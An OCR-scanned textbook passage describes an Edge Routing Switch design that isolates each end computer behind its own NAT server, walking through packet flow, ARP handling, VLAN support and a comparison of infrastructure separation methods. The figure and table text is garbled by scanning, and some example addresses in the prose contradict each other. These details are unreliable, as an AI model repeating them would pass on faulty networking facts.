And the first NAT server will map the external address 144.214.72.1 to internal
address 192.168.1.1. This kind of one-to-one mapping will not carry the
drawbacks of NAPT. Also note that the same internal IP address can be
assigned to all internal ports of the ERS.

4. The last difference is on the NAT function — this NAT function is not the same

as usual. It will be discussed later in this section.

Tt is necessary to discuss the IP setting of an end computer first. It can be
observed that ERSs are designed to replace all edge Ethernet switches in a
switched network. However, an edge Ethernet switch will only perform layer 2
switching functions, it is different from an ERS that performs layer 3 packet for-

warding plus NAT functions. Before an ERS is used (i.e. an end computer con-
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nects to an edge Ethernet switch), its IP address assigned will be one of the ad-
dresses of the subnet connected. In our example shown in Fig. 6.13, the left-most
computer will be assigned with an IP address of 144.214.72.1. The default gate-
way of the setting will be the IP address of the default gateway, says
144.214.72.254. Under this address assignment and IP setting, all network infra-
structure attacks can be launched from this computer as discussed in Sect. 6.2.
When the computer is connected to an ERS as shown in Fig. 6.13, the IP address
assigned will be 192.168.1.1, with a default gateway setting of 192.168.1.100. In
this connection, this end computer is isolated in a private LAN. When it is com-

promised, most of the network infrastructure attacks cannot be launched from it.

Layer 2
Switched
Network

[m e m i m =l--
144.214.72.0/24 Trunk Link I
P1 P2 P3 NI [
144.214.72.1/24 144.214.72.2/24 144.214.72.3/24 |
NAT Server NAT Server NAT Server - ;
_:___'::_'_.Ir:'___'__'_____,'__':'___'_____i' .
. . . |

Default Gateway: !

|

|
Default Gateway: |
| 192.168.3.100/24 |
I
\
I
\
I
I
\
I

192 168.1.100/24|

Default Gateway:
182.168.2.100/24

Host
192.168.3.1/24

182.168.1.1/24

192.168.2.1/24 I

Independent Private LAN Independent Private LAN | | Independent Private LAN
192.168.1.0124 192.168.2.0124 | L 192.168.3.0/24

|
|
I
r
|
|
|
|
|
|
|
|
|
|
|
|
|

Fig. 6.13. An Edge Routing Switch with standalone NAT server at each end computer port.
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But how a computer communicates with other computers? Consider the case
that the left most computer sends a packet to the default gateway of
144.214.72.0/24, namely 144.214.72.254. The source IP address of the packet is
192.168.1.1, and the destination address will be 144.214.72.254. Since the
computer will consider this packet is remote (not in its only subnet
192.168.1.0/24), it will send the packet to its default gateway 192.168.1.100.
When the ERS receives this packet, normal NAT function will be performed (i.e.
source address of the packet will be changed to 144.214.72.1), and then the packet
will be sent out through port N1.

What will happen when the packet is sent to the middle computer in Fig.
6.13? If this is the case, the source IP address of the packet will still be
192.168.1.1. The destination IP address, however, will be the external IP address
that is mapped to the middle computer, i.e. 144.214.72.2. As mentioned above, the
source computer will also send the packet to the ERS (since 144.214.72.2 is also a
remote address). When the ERS receives this packet, based on the destination
address it will know that the packet is targeted at a computer that is directly
connected to it. Then the NAT server associated with port P1 will translate the
source IP address from 192.168.1.1 to 144.214.72.1. After the translation, packet’s
destination IP address will be used in a lookup table so as to decide which port the
packet should be forwarded to. If the packet’s destination IP address can be found
in the lookup table (as in this case), it means that the destination end computer is
connected to the ERS. Thus, the packet will be forwarded to the NAT server
where the destination end computer connected directly (i.e. the middle NAT
server). Before sending the packet to the destination end computer, that NAT
server will translate the packet’s destination IP address from 144.214.73.2 to
192.168.2.1 (private IP of the middle computer).

What about packets that are received by ERS from outside? Whenever the
NI port receives ARP request message (from network 144.214.73.0/24 in our ex-

ample), it will first search a lookup table which keeps all the connected end com-
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puters’ information such as connected port numbers, IP and MAC addresses of the
connected end computers etc. Fig. 6.14 shows an example of this table. If the re-
quested IP address in the ARP message can be found in lookup table, it means that
the destination end computer is connected to the ERS. Thus, the NI port will give
response to the sender with an ARP reply message that contains the MAC address
of the NI port, and then the sender send the packet to the ERS. After receiving the
packet, the ERS will use the information in the lookup table to forward the packet
to the correct NAT server. Before sending the packet to the destination end com-
puter, that NAT server will translate the packet’s destination IP address from a
public one to the private IP address of the receiving end computer.

Can an ERS support the VLAN function as an edge Ethernet switch? The
answer is yes. Fig. 6.15 shows how this can be done. As can be seen, the NI port
of an ERS is running in trunking mode. Packets of different VLANSs
(144.214.72.0/24 and 144.214.73.0/24 in the figure) can be transferred through the
NI port. On the other hand, the ERS can be configured to support different
VLANS as shown.

Fig. 6.16 shows how ERSs can be used in a conventional network. In the
figure, two ERSs are connected to a layer 2 switched network, and both of them
are used to connect to different end computers.

In summary, the ERS discussed above can help to provide network

infrastructure separation at layer 3. The benefits of this separation are:

Network infrastructure signalling will not be leaked to end computers;

e All network infrastructure attacks at layer 2 cannot be launched from an end
computer;

e Many network infrastructure attacks at layer 3 cannot be launched from an end

computer;

e [P and MAC spoofing by end computers can be prevented.
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Port No. | Private IP address | External IP address MAC address
P1 192.168.1.1/24 144.214.72.1/24 00-E0-18-BD-11-11
P2 192.168.2.1/24 144.214.72.2/24 00-E0-18-BD-22-22

Fig. 6.14. The address table in an ERS.
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Fig. 6.15. An ERS with VLAN function support.
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The use of ERS can partially solve the root problem of network infrastruc-

ture security, masquerading, as discussed in Sect. 6.2.1. It is, however, encourag-

ing to report that the design is also feasible in practice. These ERSs can be built by

using Linux computers running iptables. We have implemented these ERSs and

tested them in a production network. It is proven to be feasible. The design has

also been successfully ported to a commercial router, Linksys WRT54G broad-

band routers. It also proves that the design can be used in production devices.
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Fig. 6.16. ERSs working in a conventional network.
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6.5.5 A Totally Hidden NI — A Research Called For

The designs discussed above are just examples on how the new model can be used
in practice. None of them is perfect. Table 6.4 compares their capability in protect-
ing the network infrastructure. Current networks are poor in terms of security. If
the network infrastructure separation at layer 2 is used, some improvement can be
seen. If the network infrastructure separation at layer 3 is used, it means almost
solves the root problem of network infrastructure security — masquerading.
However, some network infrastructure attacks (like SNMP attacks) can still
be launched from an end computer. It is because an end computer can still send
packets to a network infrastructure device (though in other subnet). Is it possible
to have a totally hidden network infrastructure? Totally hidden means the network
infrastructure is totally inaccessible by end computers (see Fig. 6.17). The infra-
structure, however, can still provide packet forwarding service to end computers.
A totally hidden network infrastructure can be made if the protocols used in it are
different from those used by the end computers. For example, the network infra-
structure is running IPv6 and the end computers are running IPv4. The network in-
frastructure can provide IPv4 packet forwarding (e.g. by a tunneling method) over
its IPv6 network. In this case, the network infrastructure is “hidden” to an end
computer, at least at a certain degree. Of course, it needs further research to make
this design become workable in practice. It is out of the scope of this book to dis-
cuss this kind of research. We just want to point out this possible direction to build

a truly secure network infrastructure.
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Access NI Sig-  Communication Address L2 NI Attacks
naling by end  between NI and Spoofing launched from

L3 NI Attacks
launched from

computers? end computers? (L2/L3)? end computers? end computer?
A Totally No No No No No
Hidden NI
NI Separation No Yes No No Some
atL3
NI Separation Some Yes Yes Some Some
at L2
Current Net- Yes Yes Yes Yes Yes
works

Table 6.4. Comparison of different kinds of network infrastructure separation methods.

Web
Server

Hidden Network
Infrasture

End End
Computer Computer

Fig. 6.17. Diagram illustrating a hidden network infrastructure.
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